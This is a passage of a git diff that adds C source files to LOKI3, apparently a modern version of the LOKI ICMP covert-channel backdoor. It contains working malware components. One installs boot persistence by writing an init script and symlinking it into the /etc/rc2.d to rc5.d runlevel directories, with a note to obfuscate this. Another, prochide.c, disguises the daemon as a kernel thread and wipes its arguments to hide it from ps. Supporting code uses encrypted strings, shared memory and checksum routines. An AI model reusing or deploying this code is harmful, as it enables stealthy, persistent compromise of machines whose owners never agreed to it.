/* " ;;\n" */ + /* "esac\n" */ + /* "exit 0\n", */ + service_name, service_name, service_name, self); + destroy(dbuf, S_SYSV_SERVICE.size); + + fputs(str, fp); + + // TODO error checking + chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); + symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these + symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY); + symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY); + symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY); + + fclose(fp); +} + +/* + * Remove persistence files and symlinks. + */ +void unlink_persistence() { + // TODO error checking + unlink(INIT_SCRIPT); + unlink("/etc/rc2.d/" PRIORITY); + unlink("/etc/rc3.d/" PRIORITY); + unlink("/etc/rc4.d/" PRIORITY); + unlink("/etc/rc5.d/" PRIORITY); +} +#endif /* PERSISTENCE */ diff --git a/persistence.h b/persistence.h new file mode 100644 index 0000000..21c582f --- /dev/null +++ b/persistence.h @@ -0,0 +1,25 @@ +/* + * LOKI3 + * + * [ persistence.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#ifdef PERSISTENCE + +#include +#include +#include +#include +#include +#include + +#include "loki.h" + +#define INIT_SCRIPT "/etc/init.d/foo" +#define PRIORITY "S99foo" + +#endif /* PERSISTENCE */ + +/* EOF */ diff --git a/prochide.c b/prochide.c new file mode 100644 index 0000000..951ec35 --- /dev/null +++ b/prochide.c @@ -0,0 +1,146 @@ +/* + * LOKI3 + * + * [ prochide.c ] + * + * 2019 and beyond Elective Surgery [dmfr] + * + * Observations: + * - On Linux, prctl() will not change the output of `ps` + * - `killall lokid won't work against './lokid' after prctl(), + * however it will work against whatever name you set with prctl(). + * - argv[] needs to be overwritten to hide from `ps` + * - /proc/PID/cmdline will still be './lokid' after argv[] and prctl() + * - prctl() is not portable + * - zeroing out argv[0] on Linux makes ps show a blank process + * - invoking lokid with full path gives more room to play with argv[0] + */ + +#include +#include +#include +#include +#include +#include +#ifdef LINUX +#include +#endif /* LINUX */ + +#include "loki.h" +#include "prochide.h" + + +#define DEFAULT_PROCNAME "atd" /* Default to a small name */ + +struct thread_names { + char name[PATH_MAX]; + int max; +}; + + +bool string_is_number(const char *str) { + return (strspn(str, "0123456789") == strlen(str)) ? true : false; +} + + +bool prochide(int argc, char *argv[]) { + int i; + size_t len; + char progname[PATH_MAX]; + DIR *dirp; + struct dirent *de; + struct thread_names tnames[10]; + + /* Zero out thread names array */ + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + memset(tnames[i].name, 0, sizeof(tnames[i].name)); + tnames[i].max = 0; + } + + srand(time(NULL)); + + /* TODO This is not working on Solaris */ + snprintf(progname, sizeof(progname), "%s", DEFAULT_PROCNAME); + + len = strlen(argv[0]); + + /* Find a random, suitable kernel thread name to mimick. */ + dirp = opendir("/proc"); + if (dirp != NULL) { /* /proc exists */ + while ((de = readdir(dirp)) != NULL) { + if (de->d_type == DT_DIR && string_is_number(de->d_name)) { + FILE *fp; + char buf[PATH_MAX] = {0}; + char commfile[PATH_MAX] = {0}; + + /* Read contents of /proc/PID/comm into buf */ + snprintf(commfile, sizeof(commfile) - 1, "/proc/%s/comm", de->d_name); + if ((fp = fopen(commfile, "r")) != NULL) { + fgets(buf, sizeof(buf), fp); + fclose(fp); + } else { + continue; + } + + if (strlen(buf) > (len - 2)) // account for [] + continue; + + /* Determine if current process's name is suitable */ + char b[PATH_MAX]; + char r[PATH_MAX]; + int d; + + /* We want only string/X, not string/X-foo */ + if (sscanf(buf, "%[^/]/%d%s\n", b, &d, r) != 2) + continue; + + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + /* End of array and string not seen yet */ + if (strlen(tnames[i].name) == 0) { + memcpy(tnames[i].name, b, strlen(b)); + tnames[i].max = d; + break; + } + + /* Check if we have already seen this thread name */ + if (strcmp(b, tnames[i].name) == 0) { + if (d > tnames[i].max) + tnames[i].max = d; + break; + } + } + } + } + + closedir(dirp); + + /* Determine number of entries in tnames */ + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + if (tnames[i].max == 0) + break; + } + + /* Use random tname member */ + if (i < 0) { + int r = rand() % i; + snprintf(progname, sizeof(progname), + "[%s/%d]", tnames[r].name, tnames[r].max + 1); + } + } + + memset(argv[0], 0, len); + memcpy(argv[0], progname, len); + + /* Zero out remaining command line arguments */ + for (i = 1; i < argc; i++) { + memset(argv[i], 0, strlen(argv[i])); + } + +#ifdef LINUX + prctl(PR_SET_NAME, progname, 0, 0, 0); +#endif /* LINUX */ + + return true; +} + +/* EOF */ diff --git a/prochide.h b/prochide.h new file mode 100644 index 0000000..a23fb9b --- /dev/null +++ b/prochide.h @@ -0,0 +1,13 @@ +/* + * LOKI3 + * + * [ prochide.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#include + +bool prochide(int argc, char *argv[]); + +/* EOF */ diff --git a/shm.c b/shm.c new file mode 100644 index 0000000..c20d3c5 --- /dev/null +++ b/shm.c @@ -0,0 +1,114 @@ +/* + * LOKI3 + * + * [ shm.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "client_db.h" +#include "shm.h" + +extern struct loki rdg; +extern int verbose; +extern int destroy_shm; +struct client_list *client = 0; + +int semid; + + +/* + * Obfuscated strings + */ +extern estring S_MSG_SHM_DETACH_ERROR; +extern estring S_MSG_CANNOT_DESTROY_SHMID; +extern estring S_MSG_CANNOT_DESTROY_SEMAPHORE; +extern estring S_MSG_SHM_SEGMENT_ERROR; +extern estring S_MSG_SEMAPHORE_ALLOCATION_ERROR; +extern estring S_MSG_CANNOT_LOCK_MEMORY; +extern estring S_MSG_CANNOT_UNLOCK_MEMORY; + +/* + * Prepare shared memory and semaphoreg + */ +void prep_shm() { + key_t shmkey = SHM_KEY + getpid(); /* shared memory key ID */ + key_t semkey = SEM_KEY + getpid(); /* semaphore key ID */ + int shmid, len = sizeof(struct client_list) * MAX_CLIENT; + + /* Request a shared memory segment */ + if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_SHM_SEGMENT_ERROR)); + } + + /* Get SET_SIZE semaphore to perform shared memory locking with */ + if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_SEMAPHORE_ALLOCATION_ERROR)); + } + + /* Attach pointer to the shared memory segment */ + client = (struct client_list *) shmat(shmid, NULL, 0); + + /* clear the database */ + for (int i = 0; i < MAX_CLIENT; i++) { + bzero(&client[i], sizeof(client[i])); + } +} + + +/* + * Locks the semaphore so the caller can access the shared memory segment. + * This is an atomic operation. + */ +void locks() { + struct sembuf lock[2] = { + {0, 0, 0}, + {0, 1, SEM_UNDO} + }; + + if (semop(semid, &lock[0], 2) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_LOCK_MEMORY)); + } +} + + +/* + * Unlocks the semaphore so the caller can access the shared memory segment. + * This is an atomic operation. + */ +void ulocks() { + struct sembuf ulock[1] = { + { 0, -1, (IPC_NOWAIT | SEM_UNDO) } + }; + + if (semop(semid, &ulock[0], 1) < 0) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_UNLOCK_MEMORY)); + } +} + + +/* + * Release the shared memory segment. + */ +void dump_shm() { + locks(); + + if ((shmdt((uint8_t *)client)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_SHM_DETACH_ERROR)); + } + + if (destroy_shm == OK) { + if ((shmctl(semid, IPC_RMID, NULL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SHMID)); + } + + if ((semctl(semid, IPC_RMID, 0, NULL)) == -1) { + err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SEMAPHORE)); + } + } + + ulocks(); +} + +/* EOF */ diff --git a/shm.h b/shm.h new file mode 100644 index 0000000..1b759a5 --- /dev/null +++ b/shm.h @@ -0,0 +1,18 @@ +/* + * LOKI + * + * shm header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ + +#define SHM_KEY 242 /* Shared memory key */ +#define SEM_KEY 424 /* Semaphore key */ +#define SHM_PRM S_IRUSR|S_IWUSR /* Shared Memory Permissions */ +#define SET_SIZE 1 + +void prep_shm(); /* prepare shared mem segment */ +void locks(); /* lock shared memory */ +void ulocks(); /* unlock shared memory */ +void dump_shm(); /* release shared memory */ + diff --git a/surplus.c b/surplus.c new file mode 100644 index 0000000..6dfbea4 --- /dev/null +++ b/surplus.c @@ -0,0 +1,201 @@ +/* + * LOKI3 + * + * [ surplus.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" + +extern int verbose; +extern jmp_buf env; + + +/* + * Domain names / dotted-decimals --> network byte order. + */ +uint32_t name_resolve(char *hostname) { + struct in_addr addr; + struct hostent *hostEnt; + + /* name lookup failure */ + if ((addr.s_addr = inet_addr(hostname)) == -1) { + if (!(hostEnt = gethostbyname(hostname))) { + return 0; // TODO this probably isnt right. + } + + bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length); + } + + return addr.s_addr; +} + + +/* + * Network byte order --> dotted-decimals. + */ +char *host_lookup(uint32_t in) { + char hostname[BUFSIZ] = {0}; + struct in_addr addr; + + addr.s_addr = in; + strcpy(hostname, inet_ntoa(addr)); + + return strdup(hostname); +} + +#ifdef X86FAST_CHECK + +/* + * Fast x86 based assembly implementation of the IP checksum routine. + * TODO: Do we still need this? + */ +u_short i_check(u_short *buff, int len) { + u_long sum = 0; + if (len > 3) { + __asm__("clc\n" + "1:\t" + "lodsl\n\t" + "adcl %%eax, %%ebx\n\t" + "loop 1b\n\t" + "adcl $0, %%ebx\n\t" + "movl %%ebx, %%eax\n\t" + "shrl $16, %%eax\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum) , "=S" (buff) + : "0" (sum), "c" (len >> 2) ,"1" (buff) + : "ax", "cx", "si", "bx"); + } + if (len & 2) { + __asm__("lodsw\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum) , "=S" (buff) + : "0" (sum), "c" (len >> 2) ,"1" (buff) + : "ax", "cx", "si", "bx"); + } + if (len & 2) { + __asm__("lodsw\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum), "=S" (buff) + : "0" (sum), "1" (buff) + : "bx", "ax", "si"); + } + if (len & 1) { + __asm__("lodsb\n\t" + "movb $0, %%ah\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum), "=S" (buff) + : "0" (sum), "1" (buff) + : "bx", "ax", "si"); + } + if (len & 1) { + __asm__("lodsb\n\t" + "movb $0, %%ah\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum), "=S" (buff) + : "0" (sum), "1" (buff) + : "bx", "ax", "si"); + } + sum = ~sum; + return (sum & 0xffff); +} + +#else + +/* + * Standard IP Family checksum routine. + */ +uint16_t i_check(uint16_t *ptr, int nbytes) { + register long sum = 0; + uint16_t oddbyte = 0; + register uint16_t answer = 0; + + while (nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if (nbytes == 1) { + oddbyte = 0; + *((uint8_t *)&oddbyte) =* (uint8_t *)ptr; + sum += oddbyte; + } + sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ + sum += (sum >> 16); + answer = ~sum; + return answer; +} +#endif /* X86FAST_CHECK */ + + +/* + * Generic exit with error function. If checkerrno is true, errno should + * be looked at and we call perror, otherwise, just dump to stderr. + * Additionally, we have the option of suppressing the error messages by + * zeroing verbose. + */ +void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr) { + if (verbalkint) { + if (checkerrno) { + perror(errstr); + } else { + fprintf(stderr, "%s\n", errstr); + } + } + + clean_exit(exitstatus); +} + + +/* + * Clean exit handler + */ +void clean_exit(int status) { + extern int tsock; + extern int ripsock; + + close(ripsock); + close(tsock); + exit(status); +} + + +#ifdef DEBUG +/* + * Bulk of this function taken from Stevens APUE... + * got this from Mooks (LTC) + */ +void fd_status(int fd, int newline) { + int accmode = 0, val = 0; + + val = fcntl(fd, F_GETFL, 0); + +#if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT) + accmode = val & O_ACCMODE; +#else /* pyramid */ + accmode = val; /* kludge */ +#endif /* pyramid */ + if (accmode == O_RDONLY) fprintf(stderr, " read only"); + else if (accmode == O_WRONLY) fprintf(stderr, " write only"); + else if (accmode == O_RDWR) fprintf(stderr, " read write"); + if (val & O_APPEND) fprintf(stderr, " append"); + if (val & O_NONBLOCK) fprintf(stderr, " nonblocking"); + else fprintf(stderr, " blocking"); +#if defined(O_SYNC) + if (val & O_SYNC) fprintf(stderr, " sync writes"); +#else +#if defined(O_FSYNC) + if (val & O_FSYNC) fprintf(stderr, " sync writes"); +#endif /* O_FSYNC */ +#endif /* O_SYNC */ + if (newline) fprintf(stderr, "\r\n"); +} +#endif /* DEBUG */ + +/* EOF */ -- cgit v1.2.3